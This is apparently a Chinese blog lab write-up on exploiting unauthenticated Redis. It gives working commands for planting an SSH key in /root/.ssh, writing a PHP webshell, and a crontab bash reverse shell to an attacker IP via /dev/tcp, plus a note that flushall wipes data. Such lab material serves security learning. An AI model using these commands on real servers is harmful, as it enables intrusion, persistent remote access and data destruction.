Redis未授权访问

简介


Redis介绍

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助

Redis未授权访问漏洞

  • Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据

  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件

  • 如果Redisroot身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

环境搭建


引言

各位大佬们都喜欢用kali linux当作攻击机,Ubuntu或者CentOS当作靶机,这样会方便一些,但是使用kali当作攻击机,redis-cli命令也需要安装redis,我这里尝试了一下攻击机用win10,靶机用kali

Linux软件安装

linux上安装命令如下

1
2
3
4
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

然后修改配置文件redis.conf

1
2
3
bind 127.0.0.1前面加上#号   //去掉ip绑定,允许除本地外的主机远程登录redis服务
protected-mode设为no //关闭保护模式,允许远程连接redis服务
daemonize设为yes //服务可后台运行

开启redis服务,默认端口是6379

1
./src/redis-server redis-conf

使用redis-cli命令的方式

可以直接进入src文件夹 ./redis-cli -h 127.0.0.1 -p 6379

img

下面的我使用的环境

攻击机 靶机 测试工具
windows 10 :192.168.1.107 kali linux :192.168.1.109 scrt、nc、nmap

redis的安装不在多说了,windows版的github有,运行页面如下

img

  • info查看信息
  • set x “test”设置变量x为test
  • get x 查看x的值
  • flushall 是把整个redis数据库删除,一般情况下不要用!!!
  • keys * 获取所有键名
  • config set/get dir 顾名思义get是获取,set是设置,set可用于写文件,下面会用到
  • config set/get dbfilename 与上属命令组合使用
  • save 保存

img

攻击利用方法


写ssh-keygen公钥然后使用私钥登陆

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key

利用条件:

  • Redis服务使用ROOT账号启动

  • 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

使用nmap检查端口开放情况

img

使用redis-cli连接到服务器,redis-cli.exe -h 192.168.1.109 -p 6379

img

使用SCRT使用公钥私钥对,操作步骤如下

img

img

img

img

img点击并拖拽以移动

然后去该目录下,发现多出两个文件

img接下来使用redis将公钥内容写入目标主机的缓冲里

使用文本模式打开.pub文件,字符串如下

1
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/sG4Y1CZkoBaEzwHfETvgeJO1/gscJPZg0YTtgEVvk9Gju9DnHIzm1M8gF8lwysUkTMDc+xdHDplIjzgzvGeTBhLTgPsGtdsVggpXDGn6qRHFlxrDLqNb+8fLwv6Afhq7VZ0idvbH/wKQDGTANzY6rFB3RBjOK3Pd8uL4RIa1JpoOX9oBTP94Xx9Ps+vUgxwaYw2hT/ILMYBQuaVcuZ7JXLicaJEi0us+UEhoVNSjBAqJw0M0M9lVE4MXJxz99YVh3cnwx2v5/XrkDX9xif4RUeLWAod2VGCsKgPmjZLSiNPKzrp9da22XRhIVHrBsqw7oCx0YyS+E9klbCrt+Oj1 qiushui@DESKTOP-9Q53NV6

首先查看靶机上的/root/.ssh文件夹下的文件

img

通过攻击机远程redis执行命令如下,\n是换行,方式数据混淆

1
2
3
4
5
6
7
8
192.168.1.109:6379> config set dir /root/.ssh/
OK
192.168.1.109:6379> config set dbfilename authorized_keys
OK
192.168.1.109:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/sG4Y1CZkoBaEzwHfETvgeJO1/gscJPZg0YTtgEVvk9Gju9DnHIzm1M8gF8lwysUkTMDc+xdHDplIjzgzvGeTBhLTgPsGtdsVggpXDGn6qRHFlxrDLqNb+8fLwv6Afhq7VZ0idvbH/wKQDGTANzY6rFB3RBjOK3Pd8uL4RIa1JpoOX9oBTP94Xx9Ps+vUgxwaYw2hT/ILMYBQuaVcuZ7JXLicaJEi0us+UEhoVNSjBAqJw0M0M9lVE4MXJxz99YVh3cnwx2v5/XrkDX9xif4RUeLWAod2VGCsKgPmjZLSiNPKzrp9da22XRhIVHrBsqw7oCx0YyS+E9klbCrt+Oj1 qiushui@DESKTOP-9Q53NV6\n\n\n"
OK
192.168.1.109:6379> save
OK

img

img

回到靶机查看是否生成authorized_keys文件,如下图

img

设置SCRT使用公钥链接,

具体可参照文章

如下图

img

使用公钥登录,如下

img

输入之前设置的通行段语123456

img

成功登录

img

写webshell

redis权限不高时,并且服务器开着web服务,在redisweb目录写权限时,可以尝试往web路径写webshell

执行以下命令

  • 192.168.1.109:6379> config set dir /var/www/html/

  • 192.168.1.109:6379>config set dbfilename shell.php

  • 192.168.1.109:6379>set x "<?php phpinfo();?>"

  • 192.168.1.109:6379> save

这里我没开web服务我就不演示了,上一小节已证明可以写入成功

利用计划任务执行命令反弹shell

redisroot权限运行时可以写crontab来执行命令反弹shell

下载windows下的nc工具

先在自己的服务器上监听一个端口

1
nc -lvnp 6666

img

执行命令

  • 192.168.1.109:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.107/6666 0>&1\n"

  • 192.168.1.109:6379> config set dir /var/spool/cron/

  • 192.168.1.109:6379> config set dbfilename root

  • 192.168.1.109:6379>save

操作失败,感觉应该是操作系统的问题,后续研究吧 吃饭先。。此处用CentOS作为靶机没有问题

参考文章